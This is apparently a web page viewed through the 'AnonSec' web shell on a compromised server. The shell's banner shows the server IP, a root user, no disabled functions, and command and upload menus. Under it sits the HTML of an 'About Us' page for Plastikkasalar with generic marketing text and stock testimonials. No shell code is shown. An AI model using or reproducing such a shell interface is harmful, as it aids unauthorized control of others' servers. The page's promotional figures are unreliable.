|
Server IP : 149.13.87.7 / Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /mnt/platforms/workspaces/balaiodegatos.com/../darksidemade.com/../plastikkasalar.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>About Us - Plastikkasalar</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.2.0/flowbite.min.css" rel="stylesheet" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=Plus+Jakarta+Sans:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
padding-top: 80px;
}
h1, h2, h3, h4, h5, h6 {
font-family: 'Plus Jakarta Sans', sans-serif;
}
@media (max-width: 768px) {
body {
padding-top: 72px;
}
}
</style>
<link rel="stylesheet" href="assets/css/dynamic.css">
</head>
<body class="antialiased">
<nav class="bg-white border-b border-gray-200 fixed w-full z-50 top-0">
<div class="max-w-screen-xl mx-auto px-6 py-3 flex items-center justify-between">
<a href="./" class="flex items-center space-x-3">
<div class="w-11 h-11 rounded-2xl bg-gradient-to-br from-red-500 to-orange-600 flex items-center justify-center shadow-lg">
<span class="text-white font-black text-xl">P</span>
</div>
<div class="flex flex-col">
<span class="text-sm uppercase tracking-widest text-gray-400">plastikkasalar.com</span>
<span class="text-2xl font-black text-gray-900">Plastikkasalar</span>
</div>
</a>
<div class="hidden lg:flex items-center space-x-10">
<a href="#services" class="text-gray-700 font-semibold hover:text-red-600 transition">Services</a>
<a href="#about" class="text-gray-700 font-semibold hover:text-red-600 transition">About</a>
<a href="#features" class="text-gray-700 font-semibold hover:text-red-600 transition">Features</a>
<a href="#testimonials" class="text-gray-700 font-semibold hover:text-red-600 transition">Testimonials</a>
<div class="h-6 w-px bg-gray-200"></div>
<div class="flex items-center space-x-3">
<a href="tel:12065548733" class="text-sm text-gray-500">Call us +1-206-554-8733</a>
<a href="#contact" class="px-5 py-2 rounded-lg bg-gradient-to-r from-red-600 to-orange-600 text-white font-semibold shadow-md hover:shadow-lg transition">Contact</a>
</div>
</div>
<button data-collapse-toggle="navbar-13" type="button" class="lg:hidden inline-flex items-center justify-center w-11 h-11 rounded-xl bg-gray-100 text-gray-600">
<svg class="w-6 h-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
</button>
</div>
<div class="hidden" id="navbar-13">
<div class="px-6 pb-6 space-y-4">
<a href="#services" class="block text-gray-700 font-semibold">Services</a>
<a href="#about" class="block text-gray-700 font-semibold">About</a>
<a href="#features" class="block text-gray-700 font-semibold">Features</a>
<a href="#testimonials" class="block text-gray-700 font-semibold">Testimonials</a>
<a href="#contact" class="block text-center px-5 py-3 rounded-lg bg-gradient-to-r from-red-600 to-orange-600 text-white font-semibold">Contact</a>
</div>
</div>
</nav>
<section class="bg-white py-20" id="about">
<div class="max-w-screen-xl mx-auto px-4">
<div class="bg-gray-900 rounded-3xl overflow-hidden">
<div class="grid lg:grid-cols-2">
<div class="p-12 lg:p-20 text-white flex flex-col justify-center">
<div class="inline-block mb-6">
<div class="flex items-center space-x-2">
<div class="w-2 h-2 bg-red-400 rounded-full"></div>
<div class="w-2 h-2 bg-red-400 rounded-full"></div>
<div class="w-2 h-2 bg-red-400 rounded-full"></div>
<span class="ml-2 text-red-400 font-bold text-sm uppercase">Performance Enhancers</span>
</div>
</div>
<h2 class="text-5xl lg:text-6xl font-black mb-8 leading-tight">
Drive Sustainable Growth with Our Expert eCommerce Solutions </h2>
<p class="text-lg text-gray-300 mb-10 leading-relaxed">
Experience the profound impact of as ecommerce experts, we know that understanding your target audience is key to driving sales and revenue. our digital marketing agency offers a range of solutions designed to help you connect with your target customers, from personalized email marketing campaigns to influencer partnerships and more. with our help, you can build lasting relationships with your customers and achieve long-term growth for your business. on your journey. </p>
<div class="flex flex-wrap gap-4 mb-10">
<div class="px-6 py-3 bg-white/5 rounded-full text-sm font-semibold">🏆 Award Winning</div>
<div class="px-6 py-3 bg-white/5 rounded-full text-sm font-semibold">✨ Certified</div>
<div class="px-6 py-3 bg-white/5 rounded-full text-sm font-semibold">🌍 Global</div>
</div>
<a href="#contact" class="inline-block px-10 py-5 bg-red-600 text-white font-bold rounded-lg hover:bg-red-700 transition-all w-fit">
Find More Answers </a>
</div>
<div class="relative min-h-[600px]">
<img src="https://images.unsplash.com/photo-Q1p7bh3SHj8?w=1200&h=800&fit=crop&auto=format&q=80" alt="About" class="absolute inset-0 w-full h-full object-cover">
</div>
</div>
</div>
</div>
</section>
<section class="bg-gradient-to-b from-gray-900 to-black text-white py-32" id="testimonials">
<div class="max-w-screen-xl mx-auto px-4">
<h2 class="text-7xl font-black text-center mb-20">Client Reviews</h2>
<div class="grid md:grid-cols-3 gap-8">
<div class="relative group">
<div class="absolute inset-0 bg-gradient-to-br from-red-600 to-orange-600 rounded-2xl transform group-hover:scale-105 transition-transform"></div>
<div class="relative bg-gray-900 m-1 rounded-2xl p-8">
<div class="flex mb-4">
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
</div>
<p class="text-lg text-gray-300 mb-6 leading-relaxed">
"ROI was evident within the first quarter. Their business acumen is second to none."
</p>
<div class="flex items-center space-x-4">
<div class="w-12 h-12 bg-red-600 rounded-full flex items-center justify-center text-white font-bold text-lg">
CL </div>
<div>
<div class="font-bold">Christopher Lee</div>
<div class="text-sm text-gray-400">Managing Director, Pinnacle Enterprises</div>
</div>
</div>
</div>
</div>
<div class="relative group">
<div class="absolute inset-0 bg-gradient-to-br from-red-600 to-orange-600 rounded-2xl transform group-hover:scale-105 transition-transform"></div>
<div class="relative bg-gray-900 m-1 rounded-2xl p-8">
<div class="flex mb-4">
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
</div>
<p class="text-lg text-gray-300 mb-6 leading-relaxed">
"Data-driven decisions became our competitive advantage. They turned complex analytics into actionable insights."
</p>
<div class="flex items-center space-x-4">
<div class="w-12 h-12 bg-red-600 rounded-full flex items-center justify-center text-white font-bold text-lg">
JT </div>
<div>
<div class="font-bold">Jessica Taylor</div>
<div class="text-sm text-gray-400">VP of Strategy, Momentum Corp</div>
</div>
</div>
</div>
</div>
<div class="relative group">
<div class="absolute inset-0 bg-gradient-to-br from-red-600 to-orange-600 rounded-2xl transform group-hover:scale-105 transition-transform"></div>
<div class="relative bg-gray-900 m-1 rounded-2xl p-8">
<div class="flex mb-4">
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
<i class="fas fa-star text-yellow-400"></i>
</div>
<p class="text-lg text-gray-300 mb-6 leading-relaxed">
"Efficiency gains were immediate and substantial. They optimized processes we didn't even know were broken."
</p>
<div class="flex items-center space-x-4">
<div class="w-12 h-12 bg-red-600 rounded-full flex items-center justify-center text-white font-bold text-lg">
RF </div>
<div>
<div class="font-bold">Richard Foster</div>
<div class="text-sm text-gray-400">Operations Manager, Summit Solutions</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section class="bg-gradient-to-br from-red-50 via-white to-orange-50 py-20">
<div class="max-w-screen-xl mx-auto px-4">
<div class="bg-white rounded-3xl shadow-2xl p-12">
<div class="grid md:grid-cols-4 gap-8">
<div class="text-center p-6 bg-gradient-to-br from-red-50 to-orange-50 rounded-2xl hover:shadow-lg transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-red-500 to-orange-600 rounded-2xl flex items-center justify-center mx-auto mb-4">
<i class="fas fa-users text-white text-xl"></i>
</div>
<div class="text-4xl font-black text-red-600 mb-2">10K+</div>
<div class="text-gray-700 font-semibold">Users</div>
</div>
<div class="text-center p-6 bg-gradient-to-br from-red-50 to-orange-50 rounded-2xl hover:shadow-lg transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-red-500 to-orange-600 rounded-2xl flex items-center justify-center mx-auto mb-4">
<i class="fas fa-server text-white text-xl"></i>
</div>
<div class="text-4xl font-black text-red-600 mb-2">99.9%</div>
<div class="text-gray-700 font-semibold">Uptime</div>
</div>
<div class="text-center p-6 bg-gradient-to-br from-red-50 to-orange-50 rounded-2xl hover:shadow-lg transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-red-500 to-orange-600 rounded-2xl flex items-center justify-center mx-auto mb-4">
<i class="fas fa-chart-line text-white text-xl"></i>
</div>
<div class="text-4xl font-black text-red-600 mb-2">$5M+</div>
<div class="text-gray-700 font-semibold">Revenue</div>
</div>
<div class="text-center p-6 bg-gradient-to-br from-red-50 to-orange-50 rounded-2xl hover:shadow-lg transition-all">
<div class="w-16 h-16 bg-gradient-to-br from-red-500 to-orange-600 rounded-2xl flex items-center justify-center mx-auto mb-4">
<i class="fas fa-globe text-white text-xl"></i>
</div>
<div class="text-4xl font-black text-red-600 mb-2">50+</div>
<div class="text-gray-700 font-semibold">Countries</div>
</div>
</div>
</div>
</div>
</section>
<footer class="bg-white py-16">
<div class="max-w-screen-xl mx-auto px-4">
<div class="flex flex-col md:flex-row justify-between items-start mb-12 gap-8">
<div class="flex-1">
<a href="./" class="flex items-center space-x-3 mb-6">
<div class="w-12 h-12 bg-gradient-to-br from-red-500 to-orange-600 rounded-xl flex items-center justify-center shadow-md">
<span class="text-white font-bold text-xl">P</span>
</div>
<span class="text-2xl font-black text-gray-900">Plastikkasalar</span>
</a>
<p class="text-gray-600 mb-6 max-w-sm">Building the future with innovative solutions and dedicated service.</p>
<div class="flex space-x-3">
<a href="#" class="w-10 h-10 bg-red-50 hover:bg-red-600 hover:text-white text-red-600 rounded-lg flex items-center justify-center transition-all">
<i class="fab fa-facebook-f"></i>
</a>
<a href="#" class="w-10 h-10 bg-red-50 hover:bg-red-600 hover:text-white text-red-600 rounded-lg flex items-center justify-center transition-all">
<i class="fab fa-twitter"></i>
</a>
<a href="#" class="w-10 h-10 bg-red-50 hover:bg-red-600 hover:text-white text-red-600 rounded-lg flex items-center justify-center transition-all">
<i class="fab fa-linkedin-in"></i>
</a>
<a href="#" class="w-10 h-10 bg-red-50 hover:bg-red-600 hover:text-white text-red-600 rounded-lg flex items-center justify-center transition-all">
<i class="fab fa-instagram"></i>
</a>
</div>
</div>
<div class="grid grid-cols-2 md:grid-cols-4 gap-8 flex-1">
<div>
<h3 class="text-sm font-bold mb-4 text-gray-900 uppercase tracking-wider">Company</h3>
<ul class="space-y-2 text-gray-600">
<li><a href="./about-us.php" class="hover:text-red-600 transition-colors text-sm">About</a></li>
<li><a href="#services" class="hover:text-red-600 transition-colors text-sm">Services</a></li>
<li><a href="./contact.php" class="hover:text-red-600 transition-colors text-sm">Contact</a></li>
</ul>
</div>
<div>
<h3 class="text-sm font-bold mb-4 text-gray-900 uppercase tracking-wider">Resources</h3>
<ul class="space-y-2 text-gray-600">
<li><a href="blog/" class="hover:text-red-600 transition-colors text-sm">Blog</a></li>
<li><a href="#testimonials" class="hover:text-red-600 transition-colors text-sm">Testimonials</a></li>
</ul>
</div>
<div>
<h3 class="text-sm font-bold mb-4 text-gray-900 uppercase tracking-wider">Legal</h3>
<ul class="space-y-2 text-gray-600">
<li><a href="./privacy.php" class="hover:text-red-600 transition-colors text-sm">Privacy</a></li>
<li><a href="./terms.php" class="hover:text-red-600 transition-colors text-sm">Terms</a></li>
</ul>
</div>
<div>
<h3 class="text-sm font-bold mb-4 text-gray-900 uppercase tracking-wider">Support</h3>
<ul class="space-y-2 text-gray-600">
<li><a href="./contact.php" class="hover:text-red-600 transition-colors text-sm">Help Center</a></li>
<li><a href="./disclaimer.php" class="hover:text-red-600 transition-colors text-sm">Disclaimer</a></li>
</ul>
</div>
</div>
</div>
<div class="border-t border-gray-200 pt-8">
<p class="text-gray-500 text-sm text-center">© 2026 Plastikkasalar. All rights reserved.</p>
</div>
</div>
</footer>
<script src="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.2.0/flowbite.min.js"></script>
</body>
</html>
AnonSec - 2021